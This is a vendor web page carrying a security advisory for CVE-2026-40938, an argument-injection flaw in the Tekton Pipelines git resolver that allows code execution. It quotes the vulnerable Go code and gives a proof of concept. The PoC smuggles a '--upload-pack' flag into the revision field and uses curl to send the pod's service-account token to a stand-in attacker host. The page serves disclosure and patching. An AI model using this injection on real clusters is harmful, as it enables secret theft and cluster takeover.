Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-40938 — tekton-pipelines

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-88 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Tekton Pipeline: Git Resolver Unsanitized Revision Parameter Enables git Argument Injection Leading to RCE

Summary

The git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration.

Details

Root Cause 1 — Unvalidated revision parameter passed to git fetch

pkg/resolution/resolver/git/repository.go:85:

```go

// pkg/resolution/resolver/git/repository.go lines 84-96

// 'revision' is the raw user-supplied string from the ResolutionRequest param.

// It is passed verbatim as a positional argument to git fetch:

func (repo *repository) checkout(ctx context.Context, revision string) error {

_, err := repo.execGit(ctx, "fetch", "origin", revision, "--depth=1")

// When revision == "--upload-pack=/usr/bin/curl", git parses it as the

// --upload-pack flag, not as a refspec — executing the binary locally.

if err != nil {

return fmt.Errorf("fetch: %w", err)

}

_, err = repo.execGit(ctx, "checkout", "FETCH_HEAD")

return err

}

```

execGit invokes exec.CommandContext("git", ...) — no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When revision = "--upload-pack=/path/to/binary", git receives this as the flag --upload-pack=/path/to/binary, not as a refspec. PopulateDefaultParams (resolver.go:418–424) applies only a leading-slash strip and a containsDotDot check on the pathInRepo parameter; the revision parameter receives no validation at all.

Root Cause 2 — validateRepoURL explicitly permits local filesystem paths

pkg/resolution/resolver/git/resolver.go:154-158:

```go

// validateRepoURL validates if the given URL is a valid git, http, https URL or

// starting with a / (a local repository).

func validateRepoURL(url string) bool {

pattern := ^(/|[^@]+@[^:]+|(git|https?)://)

re := regexp.MustCompile(pattern)

return re.MatchString(url)

}

```

Any URL beginning with / passes validation and is used directly as the argument to git clone. This means a local filesystem path such as /tmp/some-repo is a valid resolver URL.

Exploit Chain

--upload-pack=<binary> causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (/path), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via exec.Command as a single --upload-pack=<binary> string (not split by a shell), only binaries at known paths can be invoked — but several useful binaries exist in the resolver pod image (e.g., /bin/sh, /usr/bin/curl, /bin/cp).

Attack complexity is High because the exploit requires either:

  • A valid git repository at a known, predicable path on the resolver pod (e.g., /tmp/<reponame>-<suffix> from a concurrent resolution), or
  • A default-URL configuration pointing at a local path

PoC

```bash

# Step 1: Set up a local git repository to serve as the "origin"

# (in a real attack, the attacker would time this against a concurrent clone

# or use any pre-existing git repo path on the resolver pod)

git init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m "init"

# Step 2: Craft a ResolutionRequest with injected --upload-pack flag

kubectl create -f - <<'EOF'

apiVersion: resolution.tekton.dev/v1beta1

kind: ResolutionRequest

metadata:

name: revision-injection-poc

namespace: default

labels:

resolution.tekton.dev/type: git

spec:

params:

  • name: url

value: /tmp/localrepo

  • name: revision

value: "--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)"

  • name: pathInRepo

value: README.md

EOF

# The resolver pod executes:

# git -C <tmpdir> fetch origin \

# "--upload-pack=/usr/bin/curl http://c2.attacker.internal/..." \

# --depth=1

#

# For single-argument binaries (/bin/sh, /usr/bin/env, etc.):

# git -C <tmpdir> fetch origin "--upload-pack=/bin/sh" --depth=1

# Executes /bin/sh with the local repository path as argv[1].

# From /bin/sh, the attacker can use a pre-staged script (e.g., written

# via a workspace volume) to achieve arbitrary command execution.

```

Verified: `git fetch origin --upload-pack=/tmp/test-exec.sh --dept

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-40938 is classified as CWE-88: Argument Injection. Input is passed into a command line without separating data from options, letting an attacker introduce extra arguments.

Affected software

CVE-2026-40938 is recorded against 2 packages.

  • github.com/tektoncd/pipeline
  • tekton-pipelines (from 1.0.0 up to 1.11.0)

Timeline and source

Published on 21 April 2026 and last revised on 23 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
access.redhat.com (Web)
access.redhat.com (Web)
access.redhat.com (Web)
access.redhat.com (Web)
access.redhat.com (Web)
access.redhat.com (Web)
bugzilla.redhat.com (Web)
github.com (Package)
github.com (Web)
security.access.redhat.com (Web)

Other advisories for this package

github.com/tektoncd/pipeline has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-88: Argument Injection) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-88
Public Exploit ✅ No
Source NVD
Published 2026-04-21
Updated 2026-08-20
Modified 2026-07-23
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/tektoncd/pipeline
tekton-pipelines 1.0.0 1.11.0

Similar Threats

Site Security Check

Is tekton-pipelines part of your stack?

CVE-2026-40938 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026